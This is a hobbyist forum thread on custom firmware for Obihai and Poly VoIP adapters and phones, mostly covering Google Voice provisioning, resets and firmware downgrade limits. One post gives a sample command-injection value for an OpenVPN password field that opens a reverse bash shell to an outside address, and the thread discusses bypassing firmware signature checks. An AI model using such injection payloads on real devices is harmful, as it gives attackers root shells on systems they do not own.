Obihai OBi20x/30x + OBi1000 + OBi50x + OBi2000 firmware mods

charterengr · 2025-01-19T18:36:53+00:00

Can we pickup where we left off here....... naf? OBi1FW? jsolo1? others?

dartrio

primerisk Hi primerisk - Yes, after pasting the refresh token into the Authpassword, I hit submit. Then navigate over to System Management -> Auto Provisioning -> ITSP Provisioning -> ConfigURL and paste in the SP1 URL (https://www.obifirmware.com/fw/EnableGVSIPWithoutOBiTALK.xml); set the Method to System Start, then submit and reboot. When it comes back up, the status is stuck on ‘connecting’. If I navigate to ITSP Provisioning, the Config URL and Method are still set correctly. I do notice though, the Voice Services-> SP1 Service -> AuthPassword is only showing like eight dots, instead of a lot of dots representing that long string that was in the refresh token? Is that normal?

andre2

dartrio

dartrio I do notice though, the Voice Services-> SP1 Service -> AuthPassword is only showing like eight dots, instead of a lot of dots representing that long string that was in the refresh token? Is that normal?

Under Voice Services -> SP1 Service -> SIP Credentials -> AuthPassword it’s normal to see “●●●●●●●●” instead of the actual chars, yes. (I’m checking on my 2182 but I’m pretty sure it’s the same on the 200.)

Edit: Just realized, after successful provisioning, under ITSP Provisioning, Method should revert to “Disabled” and ConfigURL should be blank again. If you still see the values you put in in step 6, then for some reason the provisioning didn’t work.

dartrio

andre2 Thanks Andre2. That’s a good catch that it doesn’t seem to always take the provisioning. I gave it a power cycle and after that the ITSP Provisioning Method has reverted to ‘Disabled’ and ConfigURL is blank. So I did the whole setup of Google Voice again, getting a new refresh token, etc. The SP1 Service Status still says ‘Connecting…’ but the ITSP Provisioning Method is ‘Disabled’ and ConfigURL is blank. I’m running out of things to try. Is there any danger of doing a factory reset on it and setting it back up?

andre2

dartrio I don’t see why. If GV is the only service you’re provisioning for it should be easy to restore. You can make a backup of your current settings under System Management/Device Update/Backup Configuration. Check “Use OBi Version”. It should save everything except passwords and PINs, so you’ll have to provision again, but other personal settings will be restored after “Restore Configuration”.

Edit: If you have somewhere else you can get Ethernet from, you could try your provisioned device there to see if maybe it’s some local network issue.

dartrio

andre2 Thanks andre2 - the factory reset did it! I backed up the configuration as you suggested, just in case, then did the factory reset by holding the button down until the red light came on. When it came back up, most settings were now default. I went back through the GV setup again, using the refresh token as password and overwriting the config URL that was now there, and setting the Method to System Start. Then submit and reboot. After it came back up, I went to System Status and it was ‘Connected’. Outgoing and Incoming calls are working. Previously, I had it looping through CallCentric for 911, so I’m going to try to get that working again with SP2. Thanks again for the good suggestions.

mguaylam

I have a VVX D230 HW 2.0 that I have upgraded by mistake to 7.1.3 (Build: 9112) and unfortunately, flashing stock 7-0-0-6932 gives me Firmware downgrading is prohibited.
The reason seem to be because of this bulletin where the chip shortage forced them to produce a version 2 (rev.g+) phones making older firmwares incompatible but it’s saying downgrading should still be possible? Making me wonder if that was on purpose.

Now I’m wondering what I can do to downgrade it. The phone is fine but the Poly ZTP is very annoying, preventing the phone to be usable when connected to the internet.

I read that entering recovery could allow to flash anything but since I can’t send an upgrade to anything, being on the latest firmware, is this my best path to achieve aa2k firmware flash?

I did disassemble the device to see if I could find a UART but the closest I found it look like paths are not bridged.

Is there a known way to achieve downgrade for the VVX D230 being on the 7.1.3 (Build: 9112)?

naf

mguaylam flashing no-shell-signed gives me Firmware downgrading is prohibited or Previous version identical to the update. Firmware not modified

im confused by this sentence.
did you try downgrading to stock 7.0.0 per the instructions? what is shown for HardwareVersion on status page?

mguaylam

naf I apologies for the confusion. Downgrading to 7.0.0 gives Firmware downgrading is prohibited Hardware is : 2.0. I will correct my post to reflect that.

Ahhh, I think my “mistake” was none, it must be already at 7.1.3 and I didn’t realised. I have another VVX D230 which is HW 1 and was able to downgrade it successfully. Is there something I can do for HW 2?

naf

mguaylam

ah i see. yes, that signature bypass method wont work for hw2.0 devices because it needs some second signed firmware to base itself on and then lie about the contents of one of the partitions in the signed firmware header. since hw2.0 devices cant downgrade we dont have a second version, and we can’t lie about the version number because that part is in the signed header.
(i kind of thought it wouldnt matter since they would eventually just release another signed stock firmware, but alas no such luck)

i cant help on the physical/uart side since ive never actually seen one of the devices in person. maybe another sw exploit can be found? unfortunately i am unmotivated to look.

mguaylam

naf totally understand. It’s already good there’s still people to talk about it here.

On the hardware side, it seems hard like I said since they removed all unnecessary hardware for operation.

What do you recommend If I want to try stuff myself, unpack the firmware and look at stuff with this?

Is there a known recovery mechanism that allow to flash anything? Just wondering if it’s worth bricking it or just sell it back.

On a side note, on the pictures, we can see all the traces are there to add a microphone and a speaker. I believe they prepared the hardware to make another version that can call from the base station.

naf

mguaylam What do you recommend If I want to try stuff myself, unpack the firmware and look at stuff with https://github.com/naf419/obi-firmware-tools?

yes, you could unpack the stock firmware update file to see whats already written to your kernel/rootfs/obi partitions.
almost all the code is found in the /obi/obiapp executable, and it runs as root so any exploit there its game over (just run the modified obiapp binary from the mod firmware that ignores firmware signatures)

and by “exploit” i dont even mean memory safety problems. if it is similar to other obi firmwares, theres probably some low hanging fruit like settings that are appended unsanitized to a system() call (im looking at you, openvpn username/password field: certainly my password is “; bash -i >& /dev/tcp/x.x.x.x/2222 0>&1; echo ” haha)

mguaylam

naf I spent the day analysing obiapp in Ghidra and tried a couple of entries with no success.
I did find a couple of interesting system calls but none of them are usable. Also didn’t find yet something as obvious as your OpenVPN example.

I will continue to check that over time hoping to find something.
Thank you so much for providing the toolchain and the advices, it is very much appreciated.

On another note, I did see there is a safe mode when it has x unsuccessful boots, but did not find how many for how much time and also don’t know how it will behave once in this mode. Could be interesting. To look further.

I’d surely like to have other interested people help me out on this project.

jsolo1

@naf Is there a way to configure a dial sequence to restart obiapp? On many occasions, the connection to gv gets corrupted - something or other has not receiving something from the service provider. I think the connection goes stale. Rebooting (from the gui) restores the connection.

Would be nice if a sequence could be dialed that would perform the same.

naf

jsolo1 Is there a way to configure a dial sequence to restart obiapp?

i cant think of any methods that wouldnt require a little firmware hacking. i think others use cron job to restart obiapp to achieve same goal?

tpedwards

tpedwards
I realized that I had not reported on my conclusion. With my eBay purchase AND my original OBi202 both working I was able to get GoogleVoice to connect and work properly.
I intend to test one aspect that drove me nuts with the original firmware - operating on a fixed IP address. Has anyone tried assigning a static IP address?

andre2

tpedwards I set up a static IP address on my OBi200 (though I normally don’t use it anymore, except for testing). I think I set it up that way around 10 years ago and it’s always worked fine. If you have trouble with it I could report my exact configuration with the network settings.

jsolo1

naf I have a cron job set elsewhere to start it nightly, but it seems to be needed more often. It craps out at random so no specific time can be set. I was hoping to have it on demand. IE if it wasn’t working, dial a sequence that would restart it, then user can retry call a min later.

andre2

jsolo1 Is this on a 2182? On maybe 2 or 3 occasions in the year since I bought mine, I saw from the amber light that the GV connection was down, and I couldn’t access the web interface, but a reboot (from the phone’s display, Settings -> Reboot) fixed it. I don’t make a lot of calls so maybe it depends on the type of usage.

jsolo1

andre2 It’s an obi200/202. It’s the house line. I have similar issues periodically with gvsip. Truth be told, I’m this “ ” close to dumping gv entirely for outbound. But free is free 😉. WIth gvsip it’s easy enough to login to the server and restart the service. With the ATA, a bit more challenging as I’m not the primary obi20x user.

I did review the provisioning xml and made some changes locally to the obi20x timeout thresholds. I doubt that will make a difference but we’ll see.

jsolo1

@naf Do your firmware mods work with the poly branded devices.. IE Poly ATA 402 ?

naf

jsolo1

No. It looks like the 40x’s use the same firmware format (just using the name “OLU2_FW_PKG” instead of “OBi2XX_FW_PACK”) so the packing/unpacking tools still work, but the impediment would be needing to find an exploit to get a shell or bypass the firmware signature check.

« Previous Page Next Page »